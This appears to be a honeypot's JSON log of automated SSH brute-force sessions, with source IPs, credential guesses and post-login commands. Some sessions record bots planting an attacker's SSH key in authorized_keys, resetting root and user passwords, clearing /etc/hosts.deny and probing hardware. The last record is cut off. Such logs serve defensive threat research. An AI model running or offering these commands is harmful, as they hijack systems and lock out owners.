{"id":"04f65c78-55dc-4484-8b07-dd066e41e55d","name":"rustic-keen-petrel","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":48124,"username":"ec2-user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:13:59.781508+00:00","ended_at":"2026-08-27T14:14:01.245874+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ec2-user","password":"P@ssw0rd","method":"password","accepted":false,"tier":"other"}]} {"id":"7732c056-e9e8-4539-bd0c-2af5743af206","name":"salty-pristine-weasel","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":57248,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:12:41.777966+00:00","ended_at":"2026-08-27T14:12:43.359116+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":false,"tier":"other"}]} {"id":"245e4254-272f-4e48-b2f7-9bfd12c7c35e","name":"shaded-dappled-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46978,"username":"aramos","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:12:29.344092+00:00","ended_at":"2026-08-27T14:12:31.174261+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"aramos","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3befec44-8642-42da-9517-120101b9713d","name":"gallant-inland-gerbil","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":45062,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:12:27.080570+00:00","ended_at":"2026-08-27T14:12:28.662465+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"70788d7c-7690-4083-b142-169b7c65d3e7","name":"wistful-sturdy-adder","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":43914,"username":"aramos","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:12:25.579849+00:00","ended_at":"2026-08-27T14:12:25.822427+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:12:25.580776+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:12:25.584079+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"aramos","password":"aramos","method":"password","accepted":true,"tier":"other"}]} {"id":"7995eea3-4deb-4605-ba18-e47acca02a60","name":"solar-vernal-antelope","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":50244,"username":"cinema","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:12:03.718014+00:00","ended_at":"2026-08-27T14:12:05.833940+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cinema","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6e9a7dc8-51fc-47a2-ba61-36def624c053","name":"sincere-amber-firefly","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":49276,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:12:00.323844+00:00","ended_at":"2026-08-27T14:12:02.062323+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2ce59e4d-a72d-4998-a788-e62a05b736c2","name":"daring-clever-civet","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":48470,"username":"cinema","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:11:57.835359+00:00","ended_at":"2026-08-27T14:11:58.402131+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:11:57.836568+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:11:57.838229+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"cinema","password":"cinema","method":"password","accepted":true,"tier":"other"}]} {"id":"caad3063-71f0-4aa4-a204-a303280c73fc","name":"kindly-languid-bushbaby","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":42692,"username":"gaurav","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:11:01.271146+00:00","ended_at":"2026-08-27T14:11:02.428101+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"gaurav","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"da1e334f-4e6d-49af-93f4-46a61cd3e1fb","name":"painted-sturdy-marmot","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":41584,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:10:58.986465+00:00","ended_at":"2026-08-27T14:11:00.150895+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b1089136-2730-4f07-9986-cc03bc0912c5","name":"spirited-dusty-hoopoe","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":39608,"username":"gaurav","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:10:57.941574+00:00","ended_at":"2026-08-27T14:10:58.175769+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:10:57.943333+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:10:57.944828+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"gaurav","password":"12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"22cc1660-be2b-455a-b982-c6b5b70e2261","name":"arctic-bashful-gull","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":52550,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":825,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:10:39.045870+00:00","ended_at":"2026-08-27T14:10:39.311875+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2275,"events":[{"seq":1,"at":"2026-08-27T14:10:19.781358+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:10:19.789146+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"},{"seq":3,"at":"2026-08-27T14:10:20.599127+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-27T14:10:26.596292+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-27T14:10:26.598496+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-27T14:10:27.425011+00:00","kind":"input","latency_ms":null,"data":"echo \"root:m7NcEWr2I90c\"|chpasswd|bash"},{"seq":7,"at":"2026-08-27T14:10:27.425328+00:00","kind":"output","latency_ms":null,"data":""},{"seq":8,"at":"2026-08-27T14:10:28.252912+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-27T14:10:29.072624+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T14:10:29.074558+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T14:10:29.903814+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:10:29.904324+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:10:30.728530+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:10:30.731616+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:10:31.557138+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:10:31.558402+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:10:32.408165+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:10:32.409235+00:00","kind":"output","latency_ms":null,"data":" 14:10:32 up 7 days, 11:00, 0 user, load average: 0.3, 0.22, 0.28\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:10:33.229013+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:10:33.229566+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:10:34.056446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:10:34.057814+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:10:34.891846+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:10:34.892390+00:00","kind":"output","latency_ms":null,"data":"top - 14:10:34 up 7 days, 11:00, 0 user, load average: 0.3, 0.22, 0.28\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:10:35.724740+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:10:35.725636+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:10:36.550050+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:10:36.550496+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:10:37.375161+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:10:37.375613+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-27T14:10:38.220342+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:10:38.220892+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:10:39.046617+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:10:39.047268+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qazxswedc123","method":"password","accepted":true,"tier":"other"}]} {"id":"3494d97d-d16f-49b7-924f-fa901893d078","name":"sunlit-candid-bushbaby","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":54332,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:10:25.391999+00:00","ended_at":"2026-08-27T14:10:26.330164+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"67773243-660b-401e-834b-bf0970e3c800","name":"smoky-clever-roebuck","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":53566,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:10:22.515076+00:00","ended_at":"2026-08-27T14:10:23.732770+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"69acb35c-5eec-45a4-a769-f061bd9602af","name":"bashful-plush-wolverine","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":48024,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:09:35.554288+00:00","ended_at":"2026-08-27T14:09:37.298708+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f7ca4d5b-c706-42b4-8285-8ff5ed7bd7b4","name":"obsidian-hushed-serval","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":46294,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:09:32.842732+00:00","ended_at":"2026-08-27T14:09:34.709217+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"5fa2b8c6-1474-40f1-a39d-5ced056d7ac6","name":"amiable-sunlit-impala","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":45196,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:09:31.509206+00:00","ended_at":"2026-08-27T14:09:32.024652+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:09:31.509857+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:09:31.512115+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"Root12345#","method":"password","accepted":true,"tier":"other"}]} {"id":"57d518f6-4d05-4318-bbc2-e3c64fb8be89","name":"orderly-balmy-penguin","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":58238,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:08:37.498856+00:00","ended_at":"2026-08-27T14:08:39.555464+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"92496fe8-4106-4b57-a603-bde97cb3dcb7","name":"orderly-inland-anteater","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":57408,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:08:33.873579+00:00","ended_at":"2026-08-27T14:08:35.828830+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c4b1c0f1-cb02-4fa5-b810-1851c4a84015","name":"leafy-tender-loris","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":56614,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:08:31.398471+00:00","ended_at":"2026-08-27T14:08:31.962801+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:08:31.399055+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:08:31.400725+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"abc@321","method":"password","accepted":true,"tier":"other"}]} {"id":"84ed0575-0834-42d1-bf43-d54b60c35f89","name":"shifting-marine-civet","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":54123,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:08:30.592540+00:00","ended_at":"2026-08-27T14:08:31.561508+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":false,"tier":"other"}]} {"id":"eb3d0d96-73d7-4fb7-a1a4-f3e48cc76cd1","name":"lawful-downy-plover","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":57190,"username":"car","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:08:08.324755+00:00","ended_at":"2026-08-27T14:08:09.506549+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"car","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dcd776e8-f4e6-45ac-afae-89ff8a6aab45","name":"fearless-austere-macaw","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":56002,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:08:05.810430+00:00","ended_at":"2026-08-27T14:08:07.673594+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"109f6956-90a6-4154-a028-f74308f3eba6","name":"painted-ivory-mongoose","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":54906,"username":"car","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:08:04.713919+00:00","ended_at":"2026-08-27T14:08:05.060513+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-27T14:08:04.714694+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:08:04.716912+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"car","password":"car","method":"password","accepted":true,"tier":"other"}]} {"id":"939cf713-b32a-49de-a304-c10486850a62","name":"gilded-watchful-polecat","protocol":"ssh","channel_kind":null,"src_ip":"103.4.145.50","src_port":60678,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:06:37.873392+00:00","ended_at":"2026-08-27T14:06:39.590700+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"Xy123456@","method":"password","accepted":false,"tier":"other"}]} {"id":"0f725449-870c-43f5-8dcf-f8f64836dcb9","name":"lunar-flinty-gazelle","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":35686,"username":"wireguard","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:06:33.153857+00:00","ended_at":"2026-08-27T14:06:34.994225+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"wireguard","password":"wireguard@123","method":"password","accepted":false,"tier":"other"}]} {"id":"05daf878-1592-47e4-9aa9-45aad80a0412","name":"thrifty-twilight-goldcrest","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":52154,"username":"lthpc","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":216,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T14:06:24.781358+00:00","ended_at":"2026-08-27T14:06:24.886710+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T14:06:22.445669+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T14:06:23.484377+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T14:06:23.698784+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T14:06:23.699355+00:00","kind":"output","latency_ms":null,"data":" 14:06:23 up 7 days, 10:56, 0 user, load average: 0.08, 0.09, 0.06"},{"seq":5,"at":"2026-08-27T14:06:23.917885+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T14:06:23.919855+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T14:06:24.138122+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T14:06:24.138733+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T14:06:24.354804+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T14:06:24.355556+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T14:06:24.570286+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T14:06:24.570883+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T14:06:24.782197+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T14:06:24.783088+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"lthpc","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"36eb2f83-d720-4fbf-88e8-b2b2bb86d121","name":"barren-twilight-francolin","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":44744,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":337,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:05:39.875588+00:00","ended_at":"2026-08-27T14:05:41.771555+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2184,"events":[{"seq":1,"at":"2026-08-27T14:05:09.712954+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:05:10.515686+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:05:15.003033+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:05:16.781326+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:05:17.114632+00:00","kind":"input","latency_ms":null,"data":"echo -e \"ubuntu2026!\\nA0JHKp5EzFq6\\nA0JHKp5EzFq6\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:05:17.538241+00:00","kind":"input","latency_ms":null,"data":"echo \"ubuntu2026!\\nA0JHKp5EzFq6\\nA0JHKp5EzFq6\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:05:17.868351+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:05:18.794867+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T14:05:18.977147+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T14:05:19.126112+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T14:05:19.150282+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T14:05:20.773966+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:05:20.927543+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:05:22.444057+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:05:22.989778+00:00","kind":"input","latency_ms":null,"data":"crontab 